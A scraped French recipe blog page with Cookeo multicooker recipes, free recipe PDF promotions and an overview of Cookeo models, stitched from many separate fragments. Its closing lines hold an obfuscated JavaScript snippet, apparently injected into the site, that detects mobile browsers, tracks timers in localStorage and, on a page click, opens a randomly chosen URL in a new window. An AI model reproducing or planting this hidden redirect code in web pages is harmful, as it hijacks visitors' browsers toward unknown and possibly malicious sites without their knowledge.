Recette weight watchers au cookeo : spaghettis aux asperges 9 PP

Ingrédients pour 3 personnes

90  g de dés de jambon

180 g de spaghettis

1 cube de bouillon de boeuf

Paprika

200 g d’asperges vertes cuites au cookeo (ou en conserve)

200 g de champignons de Paris congelés

2 cuillères à soupe de crème fraîche

Préparation

Coupez les spaghettis en 2 et déposez les dans la cuve . Ajoutez les champignons de Paris .

Ajoutez de l’eau avec le cube de bouillon de bœuf émietté.(recouvrez tous les ingrédients).

Saupoudrez de paprika.

Cuisson rapide ou sous pression

Programmez 5 mn (le temps de cuisson indiqué sur le paquet de pâtes divisé par 2) .

En fin de cuisson ajoutez les dés de jambon , la crème fraîche

Faites réchauffer les asperges au micron-ondes et déposez les spaghettis dans les assiettes.

Servez chaud

[youtube https://www.youtube.com/watch?v=wOjm9y0t-QA]

1000 RECETTES COOKEO ICI

APPLICATION COOKEO RECETTES ICI
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[youtube https://www.youtube.com/watch?v=VuMdBW__ZKc]
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On peut dire ce que l’on veut  il existe des recettes qui sont incontournables .En France nous sommes un pays de gourmands et de gourmets mais des recettes reviennent souvent  le chili,la choucroute,le cassoulet,le couscous . Pour ma part ces plats  sont des plats conviviaux que l’on partage avec des amis ou la famille dans une ambiance joyeuse . J’espère que pour vous ce sera  le cas . Plaisir et bonheur autour de la table

Vous trouverez donc ici un PDF gratuit de 20 recettes cookeo couscous,chili,choucroute,cassoulet.Vous pouvez bien sûr le télécharger en cliquant ICI ou sur les images .

Voici la table des matières :

1000 RECETTES COOKEO ICI

APPLICATION COOKEO RECETTES ICI
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Découvrez ces 13 recettes cookeo boulettes de boeuf . Pour téléchargez ce PDF cliquez ICI ou sur l’image .

J’espère que ce PDF vous permettra de trouver des idées pour cuisiner et vous régaler.

Voici la table des matières  :

1000 RECETTES COOKEO  ICI 

APPLICATION GRATUITE COOKEO RECETTES
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Découvrez ces 20 recettes cookeo de boeuf cuisiné . Pour téléchargez ce PDF cliquez ICI ou sur l’image .

J’espère que vous trouverez de quoi vous régaler ou de régalez votre famille et vos amis .

Voici la table des matières  :

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Recette cookeo boeuf haché méditéranéen weight watchers 7 PP

[youtube https://www.youtube.com/watch?v=oMlHzKQds1Y]
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Ingrédients pour 4 personnes

600 g de filet de saumon

2 cuillères à soupe de crème

200 g de champignons de Paris congelés

100 g d’oignons congelés

100 g  de moules cuites décortiquées congelées.

Huile d’olive

Sel

Poivre

1 verre de vin blanc

200 ml de fumet de poisson

Persil déshydraté

Préparation de ce saumon moules crème fraîche

Mode dorer

Versez de l’huile d’olive dans la cuve et  faites dorer les oignons quand l’huile est chaude.

Ajoutez ensuite le saumon que vous avez découpé en morceaux .  Déposez les moules cuites décortiquées congelées .

Ajoutez les champignons de Paris . Versez le fumet de poisson et le verre de vin blanc .

Salez et poivrez selon votre convenance. Saupoudrez de persil déshydraté.

Cuisson rapide ou  cuisson sous pression

Programmez 5 mn de cuisson .

Quand la cuisson est terminée ajoutez les 2 cuillères à soupe de crème fraîche .Servez chaud .

Vous pouvez imprimer ou créer un PDF de cet article (en cliquant sur PDF ou sur le bouton impromante en haut à droite de l’article)

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Et bien voilà le PDF  des 1000 recettes évoluent et devient 1100 recettes d’autres sont bien sûr encore à venir .Merci à tous ceux qui me suivent et m’encouragent .

L’objectif des 1000 recettes cookeo est atteint. Peut-on encore faire mieux, certainement mais sera plus difficile.

En tout cas merci encore à tos ceux qui ont crée et rédigé toutes ces recettes. Un nombre de recettes cookeo qui devait vous permettre de trouver des idées repas pour tous les jours mais aussi de vous régaler.

Pour le PDF que vous pouvez télécharger gratuitement le principe reste le même :

• Une table des matières avec liens cliquables
• Les fiches recettes classées par catégories (viandes, poissons, légumes, desserts etc.)
• Parfois des sous catégories (filets mignons, cassoulet, crème)

Enfin tout cela pour une navigation rapide.

Je profite de cet article pour vous informer que j’ai crée mon application Cookeo Recettes pour que vos recherches soient encore plus rapides et pour que vous puissiez utiliser votre téléphone ou votre tablette en cuisine.  Cette application va s’améliorer au fil du temps.Pour l’application c’est ICI

Par contre seul bémol je crois que les détenteurs d’Iphone ne peuvent la téléchargez, je vais essayer de remédier à ce problème.

En attendant merci à toutes et à tous car par votre suivi je reste motivé pour vous proposer une page Face book et un blog qui vous rend la vie plus facile.

POUR TELECHARGER CLIQUEZ ICI OU SUR L ‘IMAGE

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Recette cookeo vidéo : cuisson du riz avec programmation

https://dailymotion.com/video/x19izck

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


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Téléchargez gratuitement la fiche recette cookeo de cette recette de duos de fleurette aux dés de jambon en cliquant ICI ou sur l’image

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


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[youtube https://www.youtube.com/watch?v=5EmmNqC7Wps]
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Voici une recette cookeo d ‘Emincés de poulet à la tomate inspirée par une recette weight watchers. Au départ il s’agissait d’une recette d’aiguillettes de poulet aux légumes.Cette recette nécessitait des poivrons mais je les ai remplacé par des tomates . Alors c’est parti pour cette recette .

250 CALORIES 5 PP 6 SP

Ingrédients pour 4 personnes

400 g d’émincés de poulet

1 cube de bouillon de bœuf

1 petit verre de vin blanc

Sel

Poivre

4 cuillères à café de Concentré de tomates

4 tomates coupées en quartier

250g de courgettes rondelles congelées

2 échalotes coupées en morceaux

Huile d’olive

300 ml d’eau

Préparation de ces Emincés de poulet

Mode dorer

Versez de l’huile dans la cuve, faites dorer les échalotes puis les émincés de poulet.

Ajoutez les tomates en quartier et les rondelles de courgettes.

Versez le verre de vin blanc. Emiettez le cube de bouillon de bœuf.

Salez et poivrer. Versez 300 ml d’eau . Mélangez 2 cuillères à café de concentré de tomates.

Cuisson rapide ou sous pression 10mn

Ouvrez votre cookeo et ajoutez 2 cuillères à café de concentré de tomates.Servez chaud
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Téléchargez gratuitement cette fiche recette cookeo de crevettes au riz en cliquant sur l’image ou ICI .

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Vidéo cookeo rouelle de porc à la moutarde

https://dailymotion.com/video/x4asw20

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Connaissez-vous cet appareil de cuisson : le cookeo. Il en existe 3 modèles différents.

Le cookeo pour ceux qui le découvre est un multi cuiseur simple à utiliser et qui vous fait gagner du temps pour cuisiner.

Cookeo  100 recettes :

1° 6 modes de cuisson :

• Vapeur
• Sous pression
• Dorer
• Mijoter
• Réchauffage
• Maintien au chaud
• POUR   PLUS D’INFO SUR LE COOKEO BLANC C’EST ICI

2° Le cookeo ne nécessite pas de surveillance vous préparez votre recette, vous ajoutez les ingrédients, vous le programmez, vous fermez le couvercle et puis il commence la cuisson. Vous pouvez faire autre chose pendant ce temps là.

3° Ce multi cuiseur est facile à utiliser et la cuve peut se laver au lave vaisselle.

4° 100 recettes sont programmées il vous suffit de suivre les instructions pour réussir vos recettes.

5° Il existe la fonction ingrédients qui vous donne les temps de cuisson en fonction du poids des aliments (viandes, poissons, fruits, légumes, riz et céréales)

6° L’interface digitale est très intuitive, il est simple de suivre les instructions

Le cookeo USB

Le cookeo USB présente les mêmes fonctions que le cookeo blanc classique mais vous pouvez ajoutez grâce à une clé USB vendue par Moulinex des recettes. Pour le moment 3 types de clés USB  existent :

• Recettes tradition 
• Recettes du monde
• Recettes méditéranéennes
• • POUR   PLUS D’INFO SUR LE COOKEO  USB  C’EST ICI

Le cookeo connect

Un appareil à la pointe de la technologie qui vous permet d’ajouter 150 recettes de l’application mon cookeo . La connexion s’établit par Bluetooth smart.

• POUR   PLUS D’INFO SUR LE COOKEO  CONNECT C’EST ICI

[youtube https://www.youtube.com/watch?v=oinsoIJfilo]
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Vidéos cookeo spaghettis 

https://dailymotion.com/video/x4an62h par <a href= »http://www.dailymotion.com/jphil3600″

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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());